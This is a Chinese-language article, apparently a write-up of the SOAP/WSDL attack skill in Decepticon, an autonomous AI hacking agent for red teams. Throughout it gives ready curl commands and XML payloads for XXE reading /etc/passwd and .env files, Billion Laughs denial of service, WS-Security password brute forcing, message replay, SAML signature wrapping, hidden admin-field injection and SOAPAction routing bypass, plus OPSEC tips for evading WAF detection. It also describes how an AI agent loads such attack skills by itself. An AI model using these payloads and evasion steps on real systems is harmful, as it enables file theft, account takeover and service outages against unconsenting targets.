【免费下载链接】Decepticon
Autonomous Hacking Agent for Red Team
导读
本文围绕 Decepticon 开源红队项目中 api-soap-wsdl 技能 展开,系统讲解针对遗留企业 SOAP/WSDL 服务(.NET ASMX、WCF .svc、Spring-WS、Java EE 总线等)的完整攻击方法论:从?wsdl接口枚举、SOAP 客户端生成,到 XXE、WS-Security 凭据泄露、WS-Addressing 重放、SAML/WS-Trust 令牌注入、Schema 校验绕过、XML Bomb DoS 与 SOAPAction 路由混淆等七类攻击手法。读完本文,你将掌握一套可复制的 SOAP 接口探测-攻击-收尾(OPSEC)流程,并理解该技能如何在 Decepticon 的load_skill渐进式披露机制下被红队 Agent 按需调用。
技能定位:Decepticon API 分类下的 SOAP/WSDL 子技能
在 Decepticon 的技能树中,api-soap-wsdl位于standard/exploit/api/目录,属于"现代 API 协议攻击"这一分类下的四个子技能之一(gRPC、SOAP/WSDL、WebSocket、SSE)。其父级路由技能 api/SKILL.md 明确给出了 SOAP 的线缆特征(wire signature):
| 协议 | 子技能 | 线缆特征 |
|---|---|---|
| gRPC | grpc | HTTP/2 +application/grpc[+proto\|+json],端口 50051/443 |
| SOAP/WSDL | soap-wsdl | text/xml/application/soap+xml的 XML 请求体,?wsdl服务发现 |
| WebSocket | websocket | HTTPUpgrade: websocket握手后分帧传输 |
| Server-Sent Events | server-sent-events | Content-Type: text/event-stream单向流 |
路由技能提供的快速指纹识别命令是进入本技能的第一步:
# SOAP? curl -sk "https://target/endpoint?wsdl" | head -1 # XML WSDL 文档 curl -sk -X POST -H 'Content-Type: text/xml' https://target/endpoint # 500 + SOAP fault一旦确认目标是 SOAP 服务,Agent 就会按 SKILL-FIRST 规则("当任务匹配子技能触发器时,必须在凭记忆行动之前先加载该技能")调用load_skill("/skills/standard/exploit/api/soap-wsdl/SKILL.md")获取完整攻击程序。技能 frontmatter 中的触发词正是该调用的判据:
metadata: when_to_use: "soap wsdl xml ws-security ws-addressing ws-trust saml asmx wcf .asmx .svc spring-ws" subdomain: api tags: soap, wsdl, xml, ws-security mitre_attack: T1190, T1203其中mitre_attack: T1190(利用暴露的公网应用,Exploit Public-Facing Application)与T1203(客户端执行利用)会在 Agent 的系统提示词中以内联标签形式呈现,使技能目录具备 ATT&CK 感知能力。allowed-tools: Bash Read Write声明了本技能执行所需的工具面。关于 frontmatter 的字段契约与校验规则,可参阅 docs/skill-schema.md。
一、Discovery:WSDL 枚举与客户端生成
SOAP 攻击的第一步是从服务描述文档(WSDL)中获取接口全貌。技能给出了两条探测命令,覆盖 .NET ASMX、WCF 与 Spring-WS 三类主流实现:
# WSDL endpoints — try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint curl -sk "https://target/Service.asmx?wsdl" | xmllint --format - curl -sk "https://target/Service.svc?wsdl" | xmllint --format - # Generate a client from the WSDL python -m zeep https://target/Service.asmx?wsdl # OR wsdl2java -uri https://target/Service.asmx?wsdl要点拆解:
?wsdl后缀探测:.asmx、.svc乃至 Spring-WS 端点后追加?wsdl是业界通行的服务描述获取方式。输出管道到xmllint --format -是为了把压缩在一行的 WSDL 美化排版,便于阅读<portType>、<binding>、<message>与<types>中嵌入的 XSD schema——这些正是后续构造合法 SOAP 信封与发现隐藏方法(如未在文档中公开的 AdminMethod)的原料。- Python
zeep:以交互模式加载 WSDL 并生成可调用的 Python SOAP 客户端,适合在自动化脚本中枚举并调用每个方法。 wsdl2java:Apache CXF 工具链,将 WSDL 编译为 Java 桩代码,适合把服务接口静态化后逐方法审查参数类型与命名空间。
从仓库实现看,本技能所在的 exploit/api 目录下还有grpc、websocket、server-sent-events三个平行子技能;Discovery 阶段若同时发现 REST/GraphQL 接口,父路由技能会引导转向 exploit/web/SKILL.md。
二、攻击目录:七类 SOAP 专属攻击手法
1. XXE in SOAP envelope(信封内外部实体注入)
SOAP 请求体是标准 XML,若服务端解析器未禁用外部实体,即可读取服务器本地文件:
curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \ -d '<?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body><tns:Method><tns:arg>&x;</tns:arg></tns:Method></soap:Body> </soap:Envelope>' https://target/Service.asmx注意SOAPAction: ""空头:部分 ASMX 服务在头缺失时会直接拒绝请求,空字符串是绕过校验的常见做法。实体&x;被解析后,其内容(/etc/passwd)会作为参数值进入业务方法,若方法错误地把参数回显到响应或日志中即可读取。
这一手法在仓库的兄弟技能 exploit/web/xxe/SKILL.md 中有更完整的扩展,其 "XXE via SOAP" 章节给出了命名空间匹配的进阶变体——WSDL 中的元素往往带目标命名空间前缀,必须与实际服务契约一致才能命中:
curl -s 'http://<TARGET>/ws' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///.env"> ]> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://target.namespace/"> <soapenv:Body> <ns:getData> <ns:input>&xxe;</ns:input> </ns:getData> </soapenv:Body> </soapenv:Envelope>'当实体内容不回显时,xxe 技能还提供了**盲 XXE(Out-of-Band)**方案:把参数实体%file拼接到攻击者可控的 DTD URL 中,通过 HTTP 请求把文件内容带外传回监听端口,此处不再展开。
2. WS-Security UsernameToken 爆破与明文凭据泄露
<wsse:UsernameToken>是 WS-Security 中最常见的认证载体,而许多实现为了兼容旧策略会在<wsse:Password>中以明文携带密码:
# WSPolicy may demand: Type="...#PasswordText" curl -sk -X POST -d @ws-attack.xml https://target/svc # Brute: cycle a username dict, observe response time/error class攻击路径有二:
- 凭据收割:当通道是 HTTP(非 HTTPS)或网关/代理记录了请求体时,明文
PasswordText直接暴露口令;即便是哈希形式(...#PasswordDigest),弱口令也可离线爆破。 - 在线爆破:循环用户名/口令字典,观察响应时间与错误类别(
SOAP Fault的Code/Reason字段、HTTP 状态码差异)来区分"用户不存在"与"密码错误",实现用户枚举与口令猜解。
3. WS-Addressing 重放(Replay)
SOAP 响应常携带<wsa:RelatesTo>回指请求中的<wsa:MessageID>,而部分服务器不校验 MessageID 的新鲜度:
<wsa:MessageID>uuid:CAPTURED_FROM_LEGITIMATE_REQUEST</wsa:MessageID>把合法请求的 MessageID 直接复用,即可在无凭据情况下重放受 WS-Addressing 保护的请求。配合前面的明文凭据泄露,重放往往能直接拿到业务操作权限。
4. SAML in WS-Trust / SAML EncryptedAssertion
WS-Trust 1.3 的 RST(Request Security Token)与 RSTR(Response)流程允许交换 SAML 令牌。攻击方式包括:
- 用 IdP 泄露的证书对断言重新签名;
- 利用XML Signature Wrapping(XSW)让校验器检查合法断言、而应用读取攻击者断言。
技能的完整 XSW 变体(XSW1–XSW8、注释注入、签名剥离、KeyInfo 证书混淆)不在本文展开,请直接加载仓库中的 exploit/web/saml/SKILL.md——它给出了全部 8 种变体模式、SAMLResponse解码命令(base64 -d | xmllint --format -)、SAML Raider 自动化测试流程以及按 CVSS 校准的严重性分级表。SOAP 场景下只需记住:WS-Trust 端点本质是 SAML 断言的传输通道,XSW 的所有手法在此同样适用。
5. Schema validation bypass(Schema 校验绕过)
许多服务端先解析 SOAP 信封、后校验 XSD,甚至对超出 XSD 的元素直接"宽容放行"。向信封中注入 schema 之外的字段,往往会被业务层当作真实输入处理:
<soap:Body> <tns:Method> <tns:adminFlag>true</tns:adminFlag> <!-- not in XSD, often honored --> <tns:arg>value</tns:arg> </tns:Method> </soap:Body><tns:adminFlag>不在 XSD 定义中,但许多 ORM/反序列化框架会把它映射到对象属性——这正是"越权字段"类漏洞(对应 mass-assignment 思维)在 SOAP 世界的体现。验证手法:逐个添加可疑字段观察响应差异,并对照 WSDL 中 XSD 的minOccurs/maxOccurs约束寻找"宽松点"。
6. XML Bomb / Billion Laughs DoS(实体炸弹拒绝服务)
通过嵌套实体引用让解析器展开出指数级内容,耗尽 CPU 与内存:
<!DOCTYPE x [<!ENTITY a "12345678"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]> <x>&c;&c;&c;</x>a→ 10 个b→ 100 个c→ 1000 次展开,一次请求即可让未配置实体扩展上限的解析器瘫痪。该手法在 xxe 技能的 Common Pitfalls 章节中也有呼应:解析器若禁用SYSTEM实体则尝试PUBLIC实体,禁用file://则尝试php://filter包装器。
7. SOAPAction 路由混淆(.NET ASMX 特有)
.NET ASMX 按 HTTP 头SOAPAction而非请求体选择方法,两者可以不一致:
curl -X POST -H 'SOAPAction: "http://target/AdminMethod"' \ -d '<soap:Envelope>...PublicMethod body...</soap:Envelope>' \ https://target/Service.asmx头声明调用AdminMethod,体内却是PublicMethod的参数结构——若路由层信任 SOAPAction 做鉴权,就会形成"借道公开方法触达管理方法"的逻辑绕过。实操时先通过 WSDL 提取全部操作的soapAction属性,再逐一组合测试。
三、Tooling:SOAP 交互式探测与自动化工具链
技能推荐的工具体系分三层:
# SoapUI free / Postman SOAP — interactive probing soapui --gui # or non-GUI: testrunner.sh # Burp Suite extensions: Wsdler, SAML Raider, XML Signature Wrapping # python zeep — programmatic SOAP client (good for automation) python3 -c "from zeep import Client; c = Client('https://target/Service.asmx?wsdl'); print(c.service.Method('arg'))"- SoapUI:GUI 模式适合人工构造信封逐方法调试;
testrunner.sh无头模式可在 CI/批量脚本中对一组 WSDL 做回归式探测。 - Burp Suite 插件:
Wsdler把 WSDL 解析为可请求列表并管理 SOAPAction;SAML Raider覆盖 SAML/WS-Trust 场景的 XSW 与签名操作(详见 saml 技能 的 XSW1-8 自动化测试章节)。 - Python
zeep:Client('...?wsdl')一行即可拿到类型化的服务代理,c.service.Method('arg')直接调用;在 Decepticon 的 Bash 工具面(allowed-tools: Bash Read Write)下,这是最适合把 SOAP 攻击脚本化的方式——循环枚举方法、批量注入 payload、解析 SOAP Fault 都可在 Python 内完成。
四、OPSEC:SOAP 攻击的隐蔽性收尾
技能在攻击手册末尾单独列出三条 OPSEC 纪律,直接关系扫描的存活率与证据质量:
- 随机化
<wsa:MessageID>:WS-Addressing 的 MessageID 被大量 WAF 记录为请求指纹,逐请求随机化可避免重放行为被关联告警。对应可落地的做法是在每次请求前重新生成 UUID 替换头值。 - 伪装客户端身份:WS-Security 头会暴露客户端标识,应从先前捕获的合法请求中提取真实的 clientID/证书指纹并复用,降低被 SOAP 网关标记的概率。
- 限制 Fault 触发频率:SOAP Fault 响应会泄露堆栈跟踪(StackTrace、内部异常类名),是高价值信息;但每个扫描目标只触发一次即止,避免触发速率限制告警。
五、纵深机制:技能如何在 Decepticon 中被加载与审计
从仓库源码可以看清该技能的实际调用链路与治理约束:
- 渐进式披露(Progressive Disclosure):SkillsMiddleware 将技能目录(含本技能的描述、触发词、MITRE 标签、
load_skill路径)注入 Agent 系统提示词,但技能全文不在目录中,只有任务匹配when_to_use触发词时才按需加载——这正是 SOAP 技能在无需处理 XML 目标的任务中不消耗上下文的机制。 load_skill工具:tools/skills.py 实现的load_skill返回技能全文(frontmatter 剥离后),并附加 base directory 头与同目录references/索引;路径必须以/skills/开头、拒绝..穿越与反斜杠,越界路径会返回[load_skill error]字符串而非抛异常。- Slug 模糊解析:tools/skills_registry.py 支持按精确路径、相对路径或唯一 slug(如
soap-wsdl)解析;若多个候选并列,返回AmbiguousSkill让 Agent 显式选择,绝不静默猜测。 - Schema 审计:docs/skill-schema.md 定义了所有 SKILL.md 的 frontmatter 契约——
name、description、metadata.subdomain、metadata.when_to_use为必填,mitre_attack必须匹配T\d{4}(\.\d{3})?等三种格式,且"攻击型"技能(不在reporting/、analyst/目录下)必须至少声明一项归因字段,否则触发R-no-attribution校验错误。api子域在别名映射中归一为web-exploitation。
结语:从技能到实战的执行顺序
综合上述内容,一条完整的 SOAP 目标处理流水线是:
- 指纹确认:用父路由技能的命令验证
text/xml/application/soap+xml与?wsdl存在; - 加载技能:
load_skill("/skills/standard/exploit/api/soap-wsdl/SKILL.md"),必要时并行加载 xxe 与 saml 获取命名空间变体与 XSW 全集; - 枚举:
xmllint --format -梳理 WSDL,zeep/wsdl2java生成客户端; - 逐类攻击:按上文七类手法顺序推进,同一边界类连续 3 个 payload 无差异即切换攻击类别(遵循 exploit/web 技能目录的 Payload Pacing 跨技术规则);
- 取证与收尾:记录 Fault 泄露的堆栈、保留最小触发次数,随机化 MessageID 与客户端标识。
该技能的完整正文(含全部命令与 payload)可在仓库 soap-wsdl/SKILL.md 直接查阅,父级路由与兄弟技能见 exploit/api 目录。
【免费下载链接】Decepticon
Autonomous Hacking Agent for Red Team
相关推荐
ReflectionDocBlock与SOAP集成:WSDL生成的终极指南
ReflectionDocBlock与SOAP集成:WSDL生成的终极指南 ReflectionDocBlock是phpDocumentor的核心组件,它能够解
文档开发工具从 CVE 到修复:iniscan 如何检测 SOAP WSDL 缓存目录安全隐患
从 CVE 到修复:iniscan 如何检测 SOAP WSDL 缓存目录安全隐患 iniscan 是一款命令行 php.ini 安全扫描器,专门针对 PHP
应用安全开发工具AAS 仓库 api-fuzzing-bug-bounty 技能深度解析:面向 Bug Bounty 的 REST / SOAP / GraphQL API 模糊测试实战指南
AAS 仓库 api fuzzing bug bounty 技能深度解析:面向 Bug Bounty 的 REST / SOAP / GraphQL API 模
AI 技能AI 插件
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考